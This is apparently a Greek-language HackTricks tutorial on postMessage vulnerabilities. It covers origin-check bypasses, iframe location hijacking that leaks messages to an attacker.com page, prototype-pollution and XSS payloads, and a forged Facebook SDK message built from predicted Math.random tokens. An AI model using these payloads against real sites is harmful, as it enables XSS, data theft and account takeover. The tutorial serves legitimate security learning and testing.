PostMessage Ευπάθειες

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Αποστολή PostMessage

PostMessage χρησιμοποιεί την ακόλουθη συνάρτηση για να στείλει ένα μήνυμα:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Σημειώστε ότι targetOrigin μπορεί να είναι ‘*’ ή ένα URL όπως https://company.com.
Στο δεύτερο σενάριο, το μήνυμα μπορεί να σταλεί μόνο σε εκείνο το domain (ακόμα κι αν το origin του Window object είναι διαφορετικό).
Αν χρησιμοποιηθεί το wildcard, τα μηνύματα μπορούν να σταλούν σε οποιοδήποτε domain, και θα σταλούν στο origin του Window object.

Επίθεση σε iframe & wildcard στο targetOrigin

Όπως εξηγείται στο this report εάν βρείτε μια σελίδα που μπορεί να iframed (χωρίς προστασία X-Frame-Header) και που αποστέλλει ευαίσθητο μήνυμα μέσω postMessage χρησιμοποιώντας wildcard (*), μπορείτε να τροποποιήσετε το origin του iframe και να leak το ευαίσθητο μήνυμα σε domain που ελέγχετε.
Σημειώστε ότι αν η σελίδα μπορεί να iframed αλλά το targetOrigin είναι ρυθμισμένο σε ένα URL και όχι σε wildcard, αυτό το κόλπο δεν θα λειτουργήσει.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener exploitation

addEventListener είναι η συνάρτηση που χρησιμοποιεί η JS για να δηλώσει τη συνάρτηση που αναμένει postMessages.
Κώδικας παρόμοιος με τον ακόλουθο θα χρησιμοποιηθεί:

window.addEventListener(
"message",
(event) => {
if (event.origin !== "http://example.org:8080") return

// ...
},
false
)

Σημειώστε σε αυτή την περίπτωση πώς το πρώτο πράγμα που κάνει ο κώδικας είναι να ελέγχει το origin. Αυτό είναι εξαιρετικά σημαντικό, κυρίως αν η σελίδα πρόκειται να κάνει οποιαδήποτε ευαίσθητη ενέργεια με τις ληφθείσες πληροφορίες (π.χ. αλλαγή κωδικού). Αν δεν ελέγχει το origin, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints και να αλλάξουν τους κωδικούς των θυμάτων (σε αυτό το παράδειγμα).

Ανίχνευση

Για να βρείτε event listeners στη τρέχουσα σελίδα μπορείτε:

  • Search the JS code for window.addEventListener and $(window).on (JQuery version)
  • Execute in the developer tools console: getEventListeners(window)

  • Go to Elements –> Event Listeners in the developer tools of the browser

Παρακάμψεις του ελέγχου origin

  • Το χαρακτηριστικό event.isTrusted θεωρείται ασφαλές καθώς επιστρέφει True μόνο για events που δημιουργούνται από γνήσιες ενέργειες χρήστη. Αν και είναι δύσκολο να παρακαμφθεί αν υλοποιηθεί σωστά, η σημασία του στους ελέγχους ασφάλειας είναι σημαντική.
  • Η χρήση του indexOf() για validation του origin σε PostMessage events μπορεί να είναι ευάλωτη σε παρακάμψεις. Ένα παράδειγμα που δείχνει αυτή την ευπάθεια είναι:
"https://app-sj17.marketo.com".indexOf("https://app-sj17.ma")
  • Η μέθοδος search() από το String.prototype.search() προορίζεται για regular expressions, όχι για strings. Η παράδοση οτιδήποτε άλλο εκτός από regexp οδηγεί σε ρητή/άτυπη μετατροπή σε regex, κάνοντας τη μέθοδο ενδεχομένως ανασφαλή. Αυτό συμβαίνει επειδή στο regex, μια τελεία (.) λειτουργεί ως wildcard, επιτρέποντας την παράκαμψη της επικύρωσης με ειδικά χειροκίνητους domains. Για παράδειγμα:
"https://www.safedomain.com".search("www.s.fedomain.com")

  • Η συνάρτηση match(), όμοια με την search(), επεξεργάζεται regex. Αν το regex δεν είναι σωστά δομημένο, μπορεί να είναι επιρρεπές σε παρακάμψεις.

  • Η συνάρτηση escapeHtml προορίζεται να καθαρίζει εισόδους κάνοντας escape χαρακτήρων. Ωστόσο, δεν δημιουργεί ένα νέο escaped αντικείμενο αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Συγκεκριμένα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το hasOwnProperty, το escapeHtml δεν θα λειτουργήσει όπως αναμένεται. Αυτό φαίνεται στα παρακάτω παραδείγματα:

  • Αναμενόμενη αποτυχία:

result = u({
message: "'\"<b>\\",
})
result.message // "&#39;&quot;&lt;b&gt;\"
  • Παράκαμψη του escape:
result = u(new Error("'\"<b>\\"))
result.message // "'"<b>\"

Στο πλαίσιο αυτής της ευπάθειας, το αντικείμενο File είναι ιδιαίτερα εκμεταλλεύσιμο λόγω της read-only ιδιότητας name. Αυτή η ιδιότητα, όταν χρησιμοποιείται σε templates, δεν καθαρίζεται από τη escapeHtml συνάρτηση, οδηγώντας σε πιθανούς κινδύνους ασφάλειας.

  • Η ιδιότητα document.domain στο JavaScript μπορεί να ρυθμιστεί από ένα script για να συντομεύσει το domain, επιτρέποντας πιο χαλαρή επιβολή της same-origin policy εντός του ίδιου parent domain.

Έλεγχος μόνο του origin + αξιόπιστοι διαμεσολαβητές

Αν ένας receiver ελέγχει μόνο το event.origin (π.χ., εμπιστεύεται οποιοδήποτε *.trusted.com) συχνά μπορείτε να βρείτε μια “relay” σελίδα σε αυτό το origin που αντικατοπτρίζει παραμέτρους που ελέγχονται από τον επιτιθέμενο μέσω postMessage σε ένα παρεχόμενο targetOrigin/targetWindow. Παραδείγματα περιλαμβάνουν marketing/analytics gadgets που παίρνουν query params και προωθούν {msg_type, access_token, ...} στο opener/parent. Μπορείτε να:

  • Open the victim page in a popup/iframe that has an opener έτσι ώστε οι handlers να εγγραφούν (πολλά pixels/SDKs επισυνάπτουν listeners μόνο όταν υπάρχει window.opener).
  • Navigate another attacker window to the relay endpoint on the trusted origin, γεμίζοντας τα πεδία μηνύματος που θέλετε να εγχυθούν (message type, tokens, nonces).
  • Επειδή το μήνυμα τώρα προέρχεται από το trusted origin, ο έλεγχος μόνο με βάση το origin περνάει και μπορείτε να ενεργοποιήσετε προνόμια (αλλαγές κατάστασης, κλήσεις API, εγγραφές DOM) στον listener του θύματος.

Σχήματα κατάχρησης που παρατηρούνται στην πράξη:

  • Analytics SDKs (π.χ., pixel/fbevents-style) καταναλώνουν μηνύματα όπως FACEBOOK_IWL_BOOTSTRAP, στη συνέχεια κάνουν backend API calls χρησιμοποιώντας ένα token που παρέχεται στο μήνυμα και συμπεριλαμβάνουν location.href / document.referrer στο σώμα του αιτήματος. Αν παρέχετε το δικό σας token, μπορείτε να διαβάσετε αυτά τα αιτήματα στο ιστορικό/λογ των αιτήσεων του token και να εξαγάγετε OAuth codes/tokens που υπάρχουν στο URL/referrer της σελίδας του θύματος.
  • Οποιοσδήποτε relay που αντικατοπτρίζει αυθαίρετα πεδία μέσα σε postMessage σας επιτρέπει να προσποιηθείτε τύπους μηνυμάτων που αναμένουν προνομιούχοι listeners. Συνδυάστε το με αδύναμη επικύρωση εισόδου για να φτάσετε σε Graph/REST κλήσεις, ξεκλειδώματα λειτουργιών ή ροές ισοδύναμες με CSRF.

Συμβουλές για αναζήτηση: απαριθμήστε postMessage listeners που ελέγχουν μόνο το event.origin, στη συνέχεια ψάξτε για same-origin HTML/JS endpoints που προωθούν URL params μέσω postMessage (marketing previews, login popups, OAuth error pages). Συνδέστε τα με window.open() + postMessage για να παρακάμψετε τους ελέγχους origin.

Παρακάμψη e.origin == window.origin

Όταν ενθέτετε μια σελίδα μέσα σε ένα sandboxed iframe χρησιμοποιώντας %%%%%%, είναι κρίσιμο να καταλάβετε ότι το origin του iframe θα οριστεί σε null. Αυτό είναι ιδιαίτερα σημαντικό όταν χειρίζεστε τα sandbox attributes και τις επιπτώσεις τους στην ασφάλεια και τη λειτουργικότητα.

Καθορίζοντας allow-popups στο sandbox attribute, οποιοδήποτε popup ανοίγει από μέσα στο iframe κληρονομεί τους περιορισμούς sandbox του γονέα. Αυτό σημαίνει ότι εκτός αν συμπεριληφθεί επίσης το attribute allow-popups-to-escape-sandbox, το popup window θα έχει επίσης origin null, ευθυγραμμίζοντας με το origin του iframe.

Συνεπώς, όταν ένα popup ανοίγεται κάτω από αυτές τις συνθήκες και ένα μήνυμα αποστέλλεται από το iframe στο popup χρησιμοποιώντας postMessage, και οι δύο πλευρές του μηνύματος έχουν origin null. Αυτή η κατάσταση οδηγεί σε σενάριο όπου e.origin == window.origin αξιολογείται ως true (null == null), επειδή τόσο το iframe όσο και το popup μοιράζονται την ίδια τιμή origin null.

Για περισσότερες πληροφορίες read:

Bypassing SOP with Iframes - 1

Παρακάμπτοντας το e.source

Είναι δυνατόν να ελέγξετε αν το μήνυμα προήλθε από το ίδιο παράθυρο μέσα στο οποίο ακούει το script (ιδιαίτερα ενδιαφέρον για Content Scripts from browser extensions για να ελέγξουν αν το μήνυμα στάλθηκε από την ίδια σελίδα):

// If it’s not, return immediately.
if (received_message.source !== window) {
return
}

Μπορείτε να αναγκάσετε το e.source ενός μηνύματος να είναι null δημιουργώντας ένα iframe που στέλνει το postMessage και διαγράφεται αμέσως.

Για περισσότερες πληροφορίες Διαβάστε:

Bypassing SOP with Iframes - 2

X-Frame-Header bypass

Για να πραγματοποιήσετε αυτές τις επιθέσεις ιδανικά θα μπορείτε να τοποθετήσετε τη σελίδα του θύματος μέσα σε ένα iframe. Αλλά κάποιες κεφαλίδες όπως το X-Frame-Header μπορούν να αποτρέψουν αυτή τη συμπεριφορά.
Σε αυτά τα σενάρια μπορείτε ακόμα να χρησιμοποιήσετε μια λιγότερο stealthy επίθεση. Μπορείτε να ανοίξετε μια νέα καρτέλα προς την ευάλωτη web εφαρμογή και να επικοινωνήσετε μαζί της:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Κλοπή μηνύματος που αποστέλλεται στο child iframe μπλοκάροντας την main σελίδα

Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε ευαίσθητα postmessage δεδομένα που έχουν σταλεί σε ένα child iframe μπλοκάροντας την main σελίδα πριν σταλούν τα δεδομένα και εκμεταλλευόμενοι ένα XSS στο child για να leak τα δεδομένα πριν αυτά ληφθούν:

Blocking main page to steal postmessage

Κλοπή μηνύματος με τροποποίηση της τοποθεσίας του iframe

Αν μπορείτε να κάνετε iframe μια σελίδα χωρίς X-Frame-Header που περιέχει άλλο iframe, μπορείτε να αλλάξετε τη location του child iframe, οπότε αν αυτό λαμβάνει ένα postmessage που στέλνεται χρησιμοποιώντας wildcard, ένας επιτιθέμενος θα μπορούσε να αλλάξει το origin αυτού του iframe σε μια σελίδα που ελέγχεται από αυτόν και να κλέψει το μήνυμα:

Steal postmessage modifying iframe location

postMessage to Prototype Pollution and/or XSS

Σε σενάρια όπου τα δεδομένα που στέλνονται μέσω του postMessage εκτελούνται από JS, μπορείτε να κάνετε iframe τη σελίδα και να exploit την prototype pollution/XSS στέλνοντας το exploit μέσω postMessage.

Μερικά πολύ καλά εξηγημένα XSS μέσω postMessage μπορείτε να βρείτε στο https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html

Παράδειγμα exploit για την εκμετάλλευση της Prototype Pollution και στη συνέχεια XSS μέσω ενός postMessage σε ένα iframe:

<html>
<body>
<iframe
id="idframe"
src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document
.getElementById("iframe_victim")
.contentWindow.postMessage(
'{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\" />"}}}',
"*"
)
document
.getElementById("iframe_victim")
.contentWindow.postMessage(JSON.stringify("refresh"), "*")
}

setTimeout(get_code, 2000)
</script>
</body>
</html>

Για περισσότερες πληροφορίες:

Φόρτωση script προερχόμενη από origin & supply-chain pivot (CAPIG case study)

capig-events.js κατέγραψε μόνο έναν message handler όταν υπήρχε window.opener. Κατά το IWL_BOOTSTRAP έλεγχε το pixel_id αλλά αποθήκευσε το event.origin και αργότερα το χρησιμοποίησε για να κατασκευάσει ${host}/sdk/${pixel_id}/iwl.js.

Handler που γράφει attacker-controlled origin ```javascript if (window.opener) { window.addEventListener("message", (event) => { if ( !localStorage.getItem("AHP_IWL_CONFIG_STORAGE_KEY") && !localStorage.getItem("FACEBOOK_IWL_CONFIG_STORAGE_KEY") && event.data.msg_type === "IWL_BOOTSTRAP" && checkInList(g.pixels, event.data.pixel_id) !== -1 ) { localStorage.setItem("AHP_IWL_CONFIG_STORAGE_KEY", { pixelID: event.data.pixel_id, host: event.origin, sessionStartTime: event.data.session_start_time, }) startIWL() // loads `${host}/sdk/${pixel_id}/iwl.js` } }) } ```

Exploit (origin → script-src pivot):

  1. Απόκτησε opener: π.χ. στο Facebook Android WebView επαναχρησιμοποίησε το window.name με window.open(target, name) ώστε το παράθυρο να γίνει ο δικός του opener, και στη συνέχεια κάνε postMessage από ένα malicious iframe.
  2. Στείλε IWL_BOOTSTRAP από οποιοδήποτε origin για να αποθηκευτεί host = event.origin στο localStorage.
  3. Host /sdk/<pixel_id>/iwl.js σε οποιοδήποτε CSP-allowed origin (takeover/XSS/upload σε ένα whitelisted analytics domain). Το startIWL() φορτώνει τότε attacker JS στην embedding site (π.χ., www.meta.com), επιτρέποντας credentialed cross-origin κλήσεις και account takeover.

Ακόμη κι αν ο άμεσος έλεγχος του opener ήταν αδύνατος, η παραβίαση ενός third-party iframe στη σελίδα επέτρεπε ακόμα την αποστολή του κατασκευασμένου postMessage στον parent για να δηλητηριάσει τον αποθηκευμένο host και να αναγκάσει το φόρτωμα του script.

Backend-generated shared script → stored XSS: το plugin AHPixelIWLParametersPlugin συνέκρινε/συνένωνε παραμέτρους κανόνων χρηστών μέσα σε JS που προστέθηκε στο capig-events.js (π.χ. cbq.config.set(...)). Η έγχυση breakouts όπως "]} έγχυσε αυθαίρετο JS, δημιουργώντας stored XSS στο shared script που σερβίρεται σε όλες τις sites που το φορτώνουν.

Trusted-origin allowlist isn’t a boundary

Ένας αυστηρός έλεγχος event.origin λειτουργεί μόνο αν το trusted origin cannot run attacker JS. Όταν privileged pages ενσωματώνουν third-party iframes και υποθέτουν ότι event.origin === "https://partner.com" είναι ασφαλές, οποιοδήποτε XSS στο partner.com γίνεται μία γέφυρα προς τον parent:

// Parent (trusted page)
window.addEventListener("message", (e) => {
if (e.origin !== "https://partner.com") return
const [type, html] = e.data.split("|")
if (type === "Partner.learnMore") target.innerHTML = html // DOM XSS
})

Μοτίβο επίθεσης που παρατηρήθηκε στον πραγματικό κόσμο:

  1. Εκμετάλλευση XSS στο iframe του συνεργάτη και τοποθέτηση ενός relay gadget ώστε οποιοδήποτε postMessage να γίνει code exec μέσα στην έμπιστη προέλευση:
<img src="" onerror="onmessage=(e)=>{eval(e.data.cmd)};">
  1. Από τη σελίδα του attacker, στείλε JS στο compromised iframe που προωθεί έναν επιτρεπόμενο τύπο μηνύματος πίσω στον parent. Το μήνυμα προέρχεται από partner.com, περνάει το allowlist, και περιέχει HTML που εισάγεται με μη ασφαλή τρόπο:
postMessage({
cmd: `top.frames[1].postMessage('Partner.learnMore|<img src="" onerror="alert(document.domain)">|b|c', '*')`
}, "*")
  1. The parent injects the attacker HTML, giving JS execution in the parent origin (e.g., facebook.com), which can then be used to steal OAuth codes or pivot to full account takeover flows.

Key takeaways:

  • Partner origin isn’t a boundary: οποιοδήποτε XSS σε έναν “trusted” partner επιτρέπει σε attackers να στέλνουν επιτρεπτά μηνύματα που παρακάμπτουν τους ελέγχους event.origin.
  • Handlers that render partner-controlled payloads (e.g., innerHTML on specific message types) μετατρέπουν την compromise ενός partner σε same-origin DOM XSS.
  • Μια ευρεία message surface (πολλοί τύποι, χωρίς structure validation) δίνει περισσότερα gadgets για pivoting μόλις ένα partner iframe είναι compromised.

Predicting Math.random() callback tokens in postMessage bridges

When message validation uses a “shared secret” generated with Math.random() (e.g., guid() { return "f" + (Math.random() * (1<<30)).toString(16).replace(".", "") }) and the same helper also names plugin iframes, you can recover PRNG outputs and forge trusted messages:

  • Leak PRNG outputs via window.name: Το SDK auto-names plugin iframes με guid(). Αν έχετε control του top frame, iframe το victim page, μετά πλοηγήστε το plugin iframe στην origin σας (π.χ., window.frames[0].frames[0].location='https://attacker.com') και διαβάστε window.frames[0].frames[0].name για να πάρετε ένα raw Math.random() output.
  • Force more outputs without reloads: Κάποια SDKs εκθέτουν μια reinit διαδρομή· στο FB SDK, firing init:post με {xfbml:1} αναγκάζει XFBML.parse(), καταστρέφει/ξαναδημιουργεί το plugin iframe και παράγει νέα names/callback IDs. Επαναλαμβανόμενη reinit παράγει όσες PRNG outputs χρειάζονται (προσοχή σε επιπλέον εσωτερικές κλήσεις Math.random() για callback/iframe IDs, οπότε οι solvers πρέπει να παραλείπουν ενδιάμεσα values).
  • Trusted-origin delivery via parameter pollution: Αν ένα first-party plugin endpoint αντανακλά έναν μη-ελεγχόμενο παράμετρο στο cross-window payload (π.χ., /plugins/feedback.php?...%23relation=parent.parent.frames[0]%26cb=PAYLOAD%26origin=TARGET), μπορείτε να injectετε &type=...&iconSVG=... ενώ διατηρείτε το trusted facebook.com origin.
  • Predict the next callback: Μετατρέψτε τα leaked iframe names πίσω σε floats στο [0,1) και τροφοδοτήστε αρκετές τιμές (ακόμη και μη-συνεχόμενες) σε έναν V8 Math.random predictor (π.χ., Z3-based). Γεννήστε το επόμενο guid() τοπικά για να πλαστογραφήσετε το αναμενόμενο callback token.
  • Trigger the sink: Σχηματίστε τα postMessage δεδομένα έτσι ώστε η γέφυρα να dispatch-άρει xd.mpn.setupIconIframe και να inject-άρει HTML στο iconSVG (π.χ., URL-encoded <img src=x onerror=...>), επιτυγχάνοντας DOM XSS μέσα στο hosting origin· από εκεί, same-origin iframes (OAuth dialogs, arbiters, κ.λπ.) μπορούν να διαβαστούν.
  • Framing quirks help: Η αλυσίδα απαιτεί framing. Σε μερικά mobile webviews, το X-Frame-Options μπορεί να υποβαθμιστεί σε unsupported ALLOW-FROM όταν υπάρχει frame-ancestors, και παράμετροι “compat” μπορούν να αναγκάσουν permissive frame-ancestors, επιτρέποντας το window.name side channel.

Minimal forged message example

// predictedFloat is the solver output for the next Math.random()
const callback = "f" + (predictedFloat * (1 << 30)).toString(16).replace(".", "")
const payload =
callback +
"&type=mpn.setupIconIframe&frameName=x" +
"&iconSVG=%3cimg%20src%3dx%20onerror%3dalert(document.domain)%3e"
const fbMsg = `https://www.facebook.com/plugins/feedback.php?api_key&channel_url=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=42%23relation=parent.parent.frames[0]%26cb=${encodeURIComponent(payload)}%26origin=https://www.facebook.com`
iframe.location = fbMsg // sends postMessage from facebook.com with forged callback

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks